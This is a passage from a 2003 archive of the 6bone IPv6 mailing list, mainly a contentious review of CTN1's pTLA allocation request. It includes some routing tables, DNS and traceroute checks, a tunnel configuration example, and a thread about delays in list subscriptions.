Isn't that really enough for them? Share a bit of 'NDSOFTWARE' with them
maybe you can team up and gain some employees 3 + 1 = 4.

> > It also seems that that will be their sole 'gigabit' uplink.
> 
> It's not a uplink, it's a link to an Internet exchange point. You can
> have many upstream on the same physical link.

But apparently they don't have that, they only have a /48 from your space
that you personally assigned to them and you also created everything for
them in the various registries. Doesn't it feel odd to you too?

> > Personally, mainly also because of the last reason I don't see why they
> > would require a pTLA. A couple of /48's would do just fine for a webhoster.
> > And they can get enough space from their 'upstream'.
> 
> 
> Please check previous pTLA request, a lot of request didn't respect
> fully the RFC2772 (only one contact, unassigned/reserved ASN, no real
> project,...).
> There was a pTLA allocated with a unassigned/reserved ASN.

This is about CNT1, and kinda also the same arguments which where stated
against your, oh sorry big NDSOFTWARE Corporation, for which you, personally
are the sole person who is 'active' and 'working' there.

There where mistakes, like you going through the loopholes of the request
which you are trying again, no response from CTN1 btw.

It is also quite obvious from the state of your site that nothing has
changed ever since. Thus I don't expect CTN1 to give anything to the 6bone
either.

As about those 'other' pTLA's that are wrong, yes they are and they
should be retracted asap. FIBERTEL for instance isn't reachable at all,
CNT1 apparently isn't either. CC to their 6bone@ctn1.com maybe the other
people are not subscribed to the 6bone list either, note that that is
also a requirement.

I simply do not see the need for it, if they need more space, let them
ask you, ehm NDSOFTWARE Corporation Inc, to provide some more space and
work it out together, you will make a perfect team.

Greets,
 Jeroen

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Date: Wed, 3 Dec 2003 17:31:46 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Message-ID: <20031203173146.GI14148@login.ecs.soton.ac.uk>
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Given the fact that this may be the last pTLA (though I have a suspicion
a few other people may try to get that honour in the few days to come!)
I think we could be "liberal in what we accept" here.   It seems unecessary
to waste too many cycles on nit-picking this request.

Some networks already don't accept 6bone prefix routes, so the utility
of 6bone pTLAs is already beginning to wane (which is a good thing - it's
been a great time and a lot of excellent work has been done, but it's 
time to move on :)

Perhaps we should have an initiative to encourage existing pTLA owners
to officially hand back their prefixes.  Some have done so already.

Tim

On Wed, Dec 03, 2003 at 05:15:32PM +0100, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Gav wrote:
> 
> > TOWARDEX as NDF is referring to was published to the list by 
> > Bob on the 2nd of this Month. CTN1 was published the very next day.
> > 
> > I can see (excluding this one) 7 replies to CTN1 request.
> > There are no replies to TOWARDEX request.
> 
> The reason that I do approve of the request by TOWARDEX is that
> I know, from following their mailinglist, that they have a community
> thing going across the complete US of A and are _already_ providing
> a lot of connectivity to US citizens *today*. They really would
> benefit from a pTLA and the fact that they are 'allowed' to peer then.
> They handle their own connectivity already and are in a reel need
> of their own IP space. Requesting a pTLA is for them the quickest
> and cheapest, it is for the community.
> 
> They also have a quick responsive NOC and over there people who
> really know what they are doing. Also, you can easily check their
> website, the project is highly active and growing.
> 
> They are also providing transit and services to other parties and
> are connected are more than one city, they are all around the US
> for that matter.
> 
> Which is why I didn't make a comment about the TOWARDEX request.
> But as you ask, here is the positive feedback. I fully support
> their request for a pTLA. I don't support the CTN1 request as
> apparently, as you can see, it is again done by Mr DEFFAYET, the
> real requestor apparently doesn't have time to answer the questions
> and comments that have been made. But the biggest point is what
> I already, and Pekka before me, brought up: they are a hosting company.
> Next to the facts that they have just been kicked alive, by the
> same person who already got a controversial pTLA and who apparently
> is really working on his own, all the other people that 'worked'
> there and never said anything in response have all dissappeared.
> As recommended, "NDSOFTWARE" can prolly assign a big chunk from
> it's /32 to CTN1 and they are all happy. A seperate TLA is really
> not the way to solve their 'problem'.
> 
> I am also wondering btw what the real arguments for requesting a
> TLA by them is, but only they will know.
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> 
> iQA/AwUBP84MIymqKFIzPnwjEQLHfgCfYp3kwPlJ7ySp7wtu3iOHsfzFxhkAn1hS
> jIVQ4D8URzN6nyb5WbPwascl
> =9979
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From jeroen@unfix.org Wed Dec  3 09:45:56 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: FW: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Wed, 3 Dec 2003 18:45:45 +0100
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-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I think this should be shared btw.
This was exactly the same the last time a pTLA was
requested by this same person.

I hoped he had bettered his life after he got the "NDSOFTWARE" pTLA
by going through a couple of the loopholes in the request process.
But apparently that isn't the case. It should have ended then.

Make up your own minds about what everybody thinks about this.
I have provided my set of reasons why I don't think that CTN1
should be allocated a pTLA. I hope the rest of the people who
will participate in the review will check their reasoning and
see whatever they like, the other mails consisted of my opinion
and apparently, seeing the below response that was enough.

Greets,
 Jeroen

- -----Original Message-----
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	for <jeroen@unfix.org>; Wed, 03 Dec 2003 18:21:35 +0100
Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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Jeroen,

I don't reply to your mail because i don't want feed your troll.

Thanks for you mail, you are very funny.

- -- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


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Version: Unfix PGP for Outlook Alpha 13 Int.
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-----END PGP SIGNATURE-----


From hansolofalcon@worldnet.att.net Wed Dec  3 11:25:18 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Wed, 3 Dec 2003 14:23:41 -0500
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Hello from Gregg C Levine
I however, am inclined to agree with everyone here, who's been saying
that this one should be denied. Given the fact that there is a dearth
of responsible names on that WHOIS record that was presented earlier,
I am inclined to state that fact strongly.

But to make up my mind more thoroughly, I would need more data behind
CTNI, where is the database located for their request? For that matter
where are the same entries for NDSoftware? I suspect, that Jeroen, and
two others are very right here. In fact I'd be surprised, if the two
entities are related at some level.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Tim Chown
> Sent: Wednesday, December 03, 2003 12:32 PM
> To: '6BONE List'
> Subject: Re: [6bone] pTLA request by CTN1 - review closes 16
December 2003
> 
> 
> Given the fact that this may be the last pTLA (though I have a
suspicion
> a few other people may try to get that honour in the few days to
come!)
> I think we could be "liberal in what we accept" here.   It seems
unecessary
> to waste too many cycles on nit-picking this request.
> 
> Some networks already don't accept 6bone prefix routes, so the
utility
> of 6bone pTLAs is already beginning to wane (which is a good thing -
it's
> been a great time and a lot of excellent work has been done, but
it's
> time to move on :)
> 
> Perhaps we should have an initiative to encourage existing pTLA
owners
> to officially hand back their prefixes.  Some have done so already.
> 
> Tim
> 
> On Wed, Dec 03, 2003 at 05:15:32PM +0100, Jeroen Massar wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > Gav wrote:
> >
> > > TOWARDEX as NDF is referring to was published to the list by
> > > Bob on the 2nd of this Month. CTN1 was published the very next
day.
> > >
> > > I can see (excluding this one) 7 replies to CTN1 request.
> > > There are no replies to TOWARDEX request.
> >
> > The reason that I do approve of the request by TOWARDEX is that
> > I know, from following their mailinglist, that they have a
community
> > thing going across the complete US of A and are _already_
providing
> > a lot of connectivity to US citizens *today*. They really would
> > benefit from a pTLA and the fact that they are 'allowed' to peer
then.
> > They handle their own connectivity already and are in a reel need
> > of their own IP space. Requesting a pTLA is for them the quickest
> > and cheapest, it is for the community.
> >
> > They also have a quick responsive NOC and over there people who
> > really know what they are doing. Also, you can easily check their
> > website, the project is highly active and growing.
> >
> > They are also providing transit and services to other parties and
> > are connected are more than one city, they are all around the US
> > for that matter.
> >
> > Which is why I didn't make a comment about the TOWARDEX request.
> > But as you ask, here is the positive feedback. I fully support
> > their request for a pTLA. I don't support the CTN1 request as
> > apparently, as you can see, it is again done by Mr DEFFAYET, the
> > real requestor apparently doesn't have time to answer the
questions
> > and comments that have been made. But the biggest point is what
> > I already, and Pekka before me, brought up: they are a hosting
company.
> > Next to the facts that they have just been kicked alive, by the
> > same person who already got a controversial pTLA and who
apparently
> > is really working on his own, all the other people that 'worked'
> > there and never said anything in response have all dissappeared.
> > As recommended, "NDSOFTWARE" can prolly assign a big chunk from
> > it's /32 to CTN1 and they are all happy. A seperate TLA is really
> > not the way to solve their 'problem'.
> >
> > I am also wondering btw what the real arguments for requesting a
> > TLA by them is, but only they will know.
> >
> > Greets,
> >  Jeroen
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: Unfix PGP for Outlook Alpha 13 Int.
> > Comment: Jeroen Massar / jeroen@unfix.org /
http://unfix.org/~jeroen/
> >
> >
> iQA/AwUBP84MIymqKFIzPnwjEQLHfgCfYp3kwPlJ7ySp7wtu3iOHsfzFxhkAn1h
> S
> > jIVQ4D8URzN6nyb5WbPwascl
> > =9979
> > -----END PGP SIGNATURE-----
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Wed Dec  3 11:39:38 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Tim Chown'" <tjc@ecs.soton.ac.uk>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Cleansing 6bone (Was: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003)
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-----BEGIN PGP SIGNED MESSAGE-----

Tim Chown wrote:

> Given the fact that this may be the last pTLA (though I have 
> a suspicion a few other people may try to get that honour in the few days 
> to come!) I think we could be "liberal in what we accept" here.   It 
> seems unecessary to waste too many cycles on nit-picking this request.

Then let the last pTLA go to the party that really is going to use it
and not some 'webhosting' club that thinks it's l337 or r4d or whatever
they think it is. The request rules should have included a 200 minimum
prospective client limit or something, just like the real TLA's.
But then again, that depends on for what purpose one wants to use the
testbed. If the powers that be decide that they can have it, so be it.

> Some networks already don't accept 6bone prefix routes, so the utility
> of 6bone pTLAs is already beginning to wane (which is a good 
> thing - it's been a great time and a lot of excellent work has been done,
> but it's time to move on :)

It's also a time to move on and start filtering private ASN's from the
internet. As currently seen by GRH:

2001:cd8::/32   2001:610:25:5062::62     1103 3425 293 6435 6342 64600 4787 4780
2001:cd8::/32   2001:1548:1:10::4        12565 5609 4555 109 6342 64600 4787 4780
2001:cd8::/32   2001:610:ff:c::2         1888 1103 3425 293 6435 6342 64600 4787 4780
2001:cd8::/32   2001:470:112:0:feed::1   30071 13944 6435 6342 64600 4787 4780
2001:d10::/32   2001:610:25:5062::62     1103 3425 293 6435 6342 64600 4787
2001:d10::/32   2001:610:ff:c::2         1888 1103 3425 293 6435 6342 64600 4787
2001:d10::/32   2001:780:0:2::6          12337 8560 8763 5539 109 6342 64600 4787  

Yes, even AS109 doesn't filter on private ASN's, but AS6342 should have
taken care of that anyways. An idonesian prefix being transitted by a
southern american, somehow I don't think that is very speedy...
But it is their network ofcourse...

> Perhaps we should have an initiative to encourage existing pTLA owners
> to officially hand back their prefixes.  Some have done so already.

Check the http://www.sixxs.net/tools/grh/tla/6bone/ pages as that has
already begun quite some time ago, as you probably know.

Unfortunatly there are also a number of 'networks' that don't know any
more that they actually have a pTLA, there are also a couple that went
belly up etc.

Anyone heard anything from FIBERTEL btw? See 3ffe:2200::/24 for instance.
And ofcourse an ATT EMEA contact would be nice too.

See http://www.sixxs.net/tools/grh/lg/?show=evilbogons&find=::/0
for the big list(tm) ofcourse.

Greets,
 Jeroen

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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

iQA/AwUBP8477imqKFIzPnwjEQKDlQCfVaXaN7JQRI+/AsqYcWUHS8xLcrMAn2HD
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=3nXu
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From haesu@mx01.bos.ma.towardex.com Wed Dec  3 12:21:28 2003
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Date: Wed, 3 Dec 2003 15:21:10 -0500
From: Haesu <haesu@towardex.com>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Tim Chown'" <tjc@ecs.soton.ac.uk>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: Cleansing 6bone (Was: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003)
Message-ID: <20031203202110.GA27179@scylla.towardex.com>
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> 2001:cd8::/32   2001:470:112:0:feed::1   30071 13944 6435 6342 64600 4787 4780

Ooops. We're now filtering private-ASNs received from transits:
  30071 6939 3549 4780 4780 4780 4780
    2001:470:112:0:feed::1 from 2001:470:112:0:feed::1 (65.126.230.129)
      Origin IGP, localpref 100, valid, external
      Community: 30071:2000 30071:2400
      Last update: Wed Dec  3 21:15:06 2003

Thank you for noticing :)

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

> 2001:d10::/32   2001:610:25:5062::62     1103 3425 293 6435 6342 64600 4787
> 2001:d10::/32   2001:610:ff:c::2         1888 1103 3425 293 6435 6342 64600 4787
> 2001:d10::/32   2001:780:0:2::6          12337 8560 8763 5539 109 6342 64600 4787  
> 
> Yes, even AS109 doesn't filter on private ASN's, but AS6342 should have
> taken care of that anyways. An idonesian prefix being transitted by a
> southern american, somehow I don't think that is very speedy...
> But it is their network ofcourse...
> 
> > Perhaps we should have an initiative to encourage existing pTLA owners
> > to officially hand back their prefixes.  Some have done so already.
> 
> Check the http://www.sixxs.net/tools/grh/tla/6bone/ pages as that has
> already begun quite some time ago, as you probably know.
> 
> Unfortunatly there are also a number of 'networks' that don't know any
> more that they actually have a pTLA, there are also a couple that went
> belly up etc.
> 
> Anyone heard anything from FIBERTEL btw? See 3ffe:2200::/24 for instance.
> And ofcourse an ATT EMEA contact would be nice too.
> 
> See http://www.sixxs.net/tools/grh/lg/?show=evilbogons&find=::/0
> for the big list(tm) ofcourse.
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> 
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> Nw/VZggzzSM33Df60U2XZl2A
> =3nXu
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Wed Dec  3 14:35:19 2003
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   "'Bob Fink'" <bob@thefinks.com>
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Bob and others, I think you understand what I mean with this; this clearly shows what
this 'person' is all about. I won't make any more comments as they have made it clear
themselves what 'business' they are in: none.

Last 'troll' coming up:

Marc GOMEZ [mailto:mg@ctn1.com]  wrote:

> Good Evening Gentlemen,
> I'm very surprise by theses different emails. I don’t know if you're a
> problem with your boss, your life...but I don't appreciate 
> this situation:

Thank you for showing the same manners that your friend DEFFAYET has.
Sorry, but you really chose the wrong person.

> In first:
> CTN1 is a company founded in March 2003, with my money and not with a
> business angel. Check law French web site: 
> http://www.infogreffe.fr. I have
> put 1.000.000 EUR. I respect your job respect my company!!!

I don't respect anyone trying to wave around with money that isn't his.
Checking that nice site of yours, unfortunatly for you some people do
understand french, it nicely states that your, nobody else, company
got founded in march, but officially started in november. Thus you don't
make the 3 months allocation at all.

Next to that if you have as much money in your bank as you like to
show around with, and have the intentions as you write below, then
become a LIR and deliver business alternatives.

6bone is a *test*bed, not a place where persons who like to call other
people names and throw around with 'I got a million euro's' kind of phrases
get free IP space.

> Ndsoftware is not owner of CTN1. I have makes a local (100 
> meters) giga fiber connexion with fnix6 because I'm in a same hotel 
> carrier (easy and cool). 
> I'm using today 50/80 Mb/s with fnix6 (peering for news servers,
> mirrors...). When you check my graph on http://www.ctn1.net, 

My home switch can do that with ease too. That is still no real traffic.
News does cause traffic, but that is server<->server, not to endusers.

That website of yours is *still* unreachable, ctn1.com does work and
shows yet another webhosting company. Quite expensive for 1m euro's.

> I had tested with fnix6 (others actors on exchange point) the quality and 
> the charge of this link during one week. The quality is top of the top. 

Which other 'actors'? You mean the 10000's of 'servers' of mr DEFFAYET?
His 3com switch which is colocated at Telecity certainly can push that,
but that is about it.

> I'm open to constructive critic but for baby crying...speak at my hand

You are a real business person, we understand that completely.

> I purpose this for you and others members in visit at PARIS. 
> See my private location and my network infrastructure two fibers connexion 
> on Ipv6 with TRAFIC and one thousand servers with dual Ipv4/Ipv6.

Your *private* location, aha. One thousand servers? I hope they are all
vmware then, because those can't even fit in Telecity Paris.

> I'm ready and the bonus it is I'll paid you the restaurant, French off
> course. 

Sorry, but I like italian food, French is just not up to par.

> My address:
> Télécity France
> 40-45 Avenue Victor HUGO
> 95534 Aubervilliers
> France
> NOC CTN1 present and open 24x7

Telecity? I thought you just noted down that you where a 1 million euro's
big coorporation, but without an own address?

> Why I send this request for a ptla because it's very hard 
> request peering with telco/others actors when you have not your own Ptla. I'm 
> not LIR for the moment.

Why can't you become a LIR with 1 million euro's?

> Today, I have a trouble with my web site on Ipv6 (suck red 
> hat) and shortly repair my configuration.

With 'my' indeed, a personal site, what about your other 10000 server's ?
Can't you even configure your 'suck red hat' to do loadbalancing?

> CTN1 purpose for free ipv6 transit and peering at all customers and actors
> on Telecity France. 

That is what your friend Mr DEFFAYET called "FNIX6", the one with the website
that states:

http://www.fnix6.net/about/services.php
8<-------------------------------
Services available: 
 Switch port 10baseT, 100baseTX or 1000baseSX(1) 
 FNIX6 members pages with various tools and graphs 
 FNIX6 members mailing-list 
 Route collector(2) 
 24x7 NOC provided by NDSoftware 
(1) Switch port 1000baseSX are currently not available 
(2) Route collector are currently not available  
- ------------------------------>8

No 1000baseSX, just like when he personally 'launched' FNIX6.

> CTN1 purpose at large corporate a backbone on Ipv6 (Bank, 
> industry...). 

And in english please?

> Yes CTN1 has a web hosting company but it's not only our job. 
> The web site is present only for sales hosting not consulting on Ipv6 and 
> interlan with corporate.

Just like your friend DEFFAYET, "NDSOFTWARE" "FNIX6", "EURONOG"....
Lots of empty companies indeed.

> Have a nice night gentlemen, 
> God bless you and your family.
> Best regards
> Marc Gomez
> CEO and co founder of CTN1

CTO too apparently because of your 'suck red hat'.
But then again, it is 'suck red hat' on 10000's servers :)

Greets,
 Jeroen

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From pasky@machine.sinus.cz Sat Dec  6 07:40:32 2003
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Dear diary, on Sun, Oct 26, 2003 at 01:49:56PM CET, I got a letter,
where Dan Reeder <dan@reeder.name> told me, that...
> Hey guys
> in light of the recent spirited discussions regarding ptp subnets, I was
> wondering whether anyone has used or is using the link local addressing for
> the endpoints. (I'm not too sure whether it is still called link local in
> this case, as it is quite different from typical MAC-based addressing)
> 
> here's an example of my tunnel:
> 
> ip tunnel add sixbone mode sit remote 203.149.69.35 local 202.173.147.67
> ip link set sixbone up
> ip tunnel change sixbone ttl 255
> ip link set mtu 1472 dev sixbone
> route add -A inet6 ::/0 gw fe80::cb95:4523 dev sixbone
> 
> fe80::cb95:4523 is just the remote ip converted to hex and set with a link
> local prefix.
> 
> Now because my local router and the remote router also have valid 2001::
> global addressing (on mine for the /64 on another interface, on the remote
> for other purposes), so traceroutes back and forth are going through just
> fine. I realise that every device needs a globally reachable ip set on it
> somewhere, even on a loopback interface, to be reachable.
> But are there any operational down sides or gotchas that would prove this
> type of addressing to be unsafe or impractical for use?

FYI, this is exactly what we at XS26 do (sorry for such a late reply),
except for BGP peerings. All user tunnels are tunneled over link-local.

It's as simple as:

iptunnel add $TUNLIF mode sit local $MYIPv4 remote $XSIPv4 ttl 64
ifconfig $TUNLIF up
route -A inet6 add 2000::/3 dev $TUNLIF

Kind regards,

-- 
 
				Petr "Pasky" Baudis
.
To get something done, a committee should consist of no more than three
persons, two of them absent.
.
Stuff: http://pasky.ji.cz/

From pasky@machine.sinus.cz Sat Dec  6 12:35:52 2003
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Subject: Re: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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  Hello,

  I personally fully agree with Jeroen. The numerous technical issues
persist even after few days and although ctn1.com representative replied
to Jeroen's mail, they did not bothered to fix even the trivial errors
like the web server misconfiguration. They did not even bothered to
reply to the challenges by Pekka Savola and Jeroen Massar on the list.

  Also, Jeroen describes numerous misconfigurations, which speak of
technical incompetency of the CTN1 representatives (I would only add
that ns3.ctn1.net. has lame delegation of ctn1.net.).

  The applicant shows multiple grave violations to guidelines presented
in RFC2772. Their "IPv6 accessible system" www.ctn1.com. has not even an
AAAA record. Their network is unreachable (at least the only known host
in it, www.ctn6.net.). Apparently, their technical infrastructure is
neither reliable nor fully maintained.

  Therefore, I believe that this request is inacceptable and should be
denied. Let's not have something so laughable as the last 6bone
assignment.

  Regards,

--=20
=20
				Petr "Pasky" Baudis
=2E
To get something done, a committee should consist of no more than three
persons, two of them absent.
=2E
Stuff: http://pasky.ji.cz/

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From jeroen@unfix.org Tue Dec  9 08:42:24 2003
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Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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<SNIP>

> >       d. A fully maintained, and reliable, IPv6-accessible system
> >           providing, at a mimimum, one or more web pages, describing the
> >           Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >http://www.ctn1.com (all services are ready to use with IPv6)
> >

Checking up the services, as when they made the above request
it didn't work either, they should be:
 - fully maintained
 - reliable
 - IPv6 accessible

$ host -t a www.ctn1.com
www.ctn1.com            A       195.140.143.10
$ host -t aaaa www.ctn1.com
www.ctn1.com AAAA record currently not present

Still not available, www.ctn1.net does have an IPv6 address though, but:

traceroute to www.ctn1.net (3ffe:4013:2105:1::5) from 2001:838:1:1:210:dcff:fe20:7c7c, 30 hops max, 16 byte packets
 1  fe0.breda.ipv6.concepts-ict.net (2001:838:1:1::1)  0.397 ms  0.386 ms  0.353 ms
 2  se2.ams-ix.ipv6.concepts-ict.net (2001:838:0:10::1)  23.109 ms  24.657 ms  25.905 ms
 3  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  26.034 ms  29.44 ms  27.749 ms
 4  eth10-0-0.xr1.ams1.gblx.net (2001:7f8:1::a500:3549:1)  27.939 ms  27.234 ms  32.761 ms
 5  tun1.cr1.par1.fr.ip.ndsoftware.net (3ffe:4013:f:7::1)  52.73 ms  49.814 ms  50.712 ms
 6  ctn1-29402.fnix6.net (2001:7f8:25:1::72da:1)  58.054 ms  49.288 ms  51.891 ms
 7  ctn1-29402.fnix6.net (2001:7f8:25:1::72da:1)  3143.89 ms !H  3995.06 ms !H *

From my traceroute manual:
!H     Received a reply telling that the destination host is unreachable.

Thus I have to assume that the host is directly connected to the "IX" ?
Otherwise we would have gotten a !N back telling that the network would
not be reachable.

As for ctn1.com:
8<-----------------------------------------------------
Forbidden
You don't have permission to access / on this server.


- --------------------------------------------------------------------------------

Apache/1.3.27 Server at www.ctn1.com Port 80
- ----------------------------------------------------->8

Also CTN1.net still shows "Your Web Hosting Company"

I still don't think that there are is a staff of three available
there who can fix these problems, if they could they would have
done that already when they got aware of the problem, note that
I cc'd there special 6bone@ctn1.net email address in the previous
message, so they should have become aware of it almost a week later.
They should have fixed it in the mean time too.
If they cannot even fix a simple combination of DNS and 'peering'
problems, then how could they be entrusted with anything else?

If they would wanted to change my mind on all of this they could
have at least fix the above simple problems and demonstrating
with that that they actually will be wanting to use it for the
purposes that the 6bone was meant for.

Greets,
 Jeroen

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From baby_boo_u@hotmail.com Sat Dec 13 00:00:10 2003
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<html><div style='background-color:'><P>Hello members...</P>
<P>I am happy to join the 6bone mailiing list..This is my first time in being a part of such a huge mailing list like 6bone and i hope we could help eachother and learn more about everything and anything. </P>
<P>looking forward to hear from you soon..</P>
<P>yours, shadin.<BR><BR><BR></P>
<DIV>Keep in touch <IMG height=19 src="http://graphics.hotmail.com/i.p.emwink.gif" width=19></DIV></div><br clear=all><hr>MSN 8 helps <a href="http://g.msn.com/8HMBEN/2743??PS=">ELIMINATE E-MAIL VIRUSES. </a> Get 2 months FREE*.</html>

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welcome to the group. i hope you enjoy your stay and find it beneficial.
-joe


noor al huda wrote:

>Hello members...
>
>I am happy to join the 6bone mailiing list..This is my first time in being a 
>part of such a huge mailing list like 6bone and i hope we could help eachother 
>and learn more about everything and anything.
>
>looking forward to hear from you soon..
>
>yours, shadin.
>
>
>Keep in touch
>
>--------------------------------------------------------------------------------
>MSN 8 helps ELIMINATE E-MAIL VIRUSES. <http://g.msn.com/8HMBEN/2743??PS=> Get 2 
>months FREE*._______________________________________________ 6bone mailing list 
>6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone
>  
>

-- 
___________________________________________________
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6BONE Handle: JAW621-6BONE
RIPE Handle: JAW621-RIPE



From danny@cogent-web.com Sat Dec 13 09:09:12 2003
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Subject: Re: [6bone] my first message...
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----- Original Message ----- 
From: "Joe Williams" <joe@621.org>
To: <6bone@mailman.isi.edu>
Sent: Saturday, December 13, 2003 6:53 PM
Subject: Re: [6bone] my first message...


> welcome to the group. i hope you enjoy your stay and find it beneficial.
> -joe
> 
If my only experience of this list is anything to go by, you might see this
post in 6 months.  Can't remember when I signed up, must've been at least 3
months ago, got my confirmation through yesterday.


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Subject: RE: [6bone] my first message...
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Danny Horne wrote:

> If my only experience of this list is anything to go by, you 
> might see this post in 6 months.  Can't remember when I signed up, must've 
> been at least 3 months ago, got my confirmation through yesterday.

It is not *that* bad. It usually is around 30 minutes though.

Checking the headers, sent at 13 Dec 2003 @ 17:09:05 GMT and delivered
at 13 Dec 2003 @ 17:59:50 GMT, okay that is almost a complete hour ;)

Greets,
 Jeroen

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From danny@cogent-web.com Sat Dec 13 10:42:48 2003
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----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Danny Horne'" <danny@cogent-web.com>; <6bone@mailman.isi.edu>
Sent: Saturday, December 13, 2003 6:27 PM
Subject: RE: [6bone] my first message...


> It is not *that* bad. It usually is around 30 minutes though.
> 
Trust me, it was that bad, I'd forgotten I'd even subscribed to the list 

From cinnion@ka8zrt.com Sat Dec 13 13:05:42 2003
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Date: Sat, 13 Dec 2003 16:05:14 -0500
From: Douglas Wade Needham <cinnion@ka8zrt.com>
To: Danny Horne <danny@cogent-web.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] my first message...
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There does seem to have been a very high latency on the subscriptions.
I sent my request in on 26 Nov and got the notification that it had
been approved on 12 Dec.  I think the admin may have been taking a
vacation.

- Doug

Quoting Danny Horne (danny@cogent-web.com):
> ----- Original Message ----- 
> From: "Jeroen Massar" <jeroen@unfix.org>
> To: "'Danny Horne'" <danny@cogent-web.com>; <6bone@mailman.isi.edu>
> Sent: Saturday, December 13, 2003 6:27 PM
> Subject: RE: [6bone] my first message...
> 
> 
> > It is not *that* bad. It usually is around 30 minutes though.
> > 
> Trust me, it was that bad, I'd forgotten I'd even subscribed to the list 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter! 

From daniel@unix.za.net Sat Dec 13 13:30:03 2003
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Danny Horne wrote:

>----- Original Message ----- 
>From: "Jeroen Massar" <jeroen@unfix.org>
>To: "'Danny Horne'" <danny@cogent-web.com>; <6bone@mailman.isi.edu>
>Sent: Saturday, December 13, 2003 6:27 PM
>Subject: RE: [6bone] my first message...
>
>
>  
>
>>It is not *that* bad. It usually is around 30 minutes though.
>>
>>    
>>
>Trust me, it was that bad, I'd forgotten I'd even subscribed to the list 
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>
Just  FYI, if you send mail to bouncer@test.smtp.org
you should get an idea of how speedy your mail is
and if it goes via Ipv6.

Regards
Daniel

From cwl.hoogenboezem@infra.carrier6.net Sat Dec 13 17:00:56 2003
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I experienced the exact same thing as some of you seemed to have, I signed
up around the 24th of November and got my subscription confirmation today as
well.

All's well now though. :)

-----Oorspronkelijk bericht-----
Van: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu]Namens Douglas Wade Needham
Verzonden: zaterdag 13 december 2003 22:05
Aan: Danny Horne
CC: 6bone@mailman.isi.edu
Onderwerp: Re: [6bone] my first message...


There does seem to have been a very high latency on the subscriptions.
I sent my request in on 26 Nov and got the notification that it had
been approved on 12 Dec.  I think the admin may have been taking a
vacation.

- Doug

Quoting Danny Horne (danny@cogent-web.com):
> ----- Original Message -----
> From: "Jeroen Massar" <jeroen@unfix.org>
> To: "'Danny Horne'" <danny@cogent-web.com>; <6bone@mailman.isi.edu>
> Sent: Saturday, December 13, 2003 6:27 PM
> Subject: RE: [6bone] my first message...
>
>
> > It is not *that* bad. It usually is around 30 minutes though.
> >
> Trust me, it was that bad, I'd forgotten I'd even subscribed to the list
> _______________________________________________
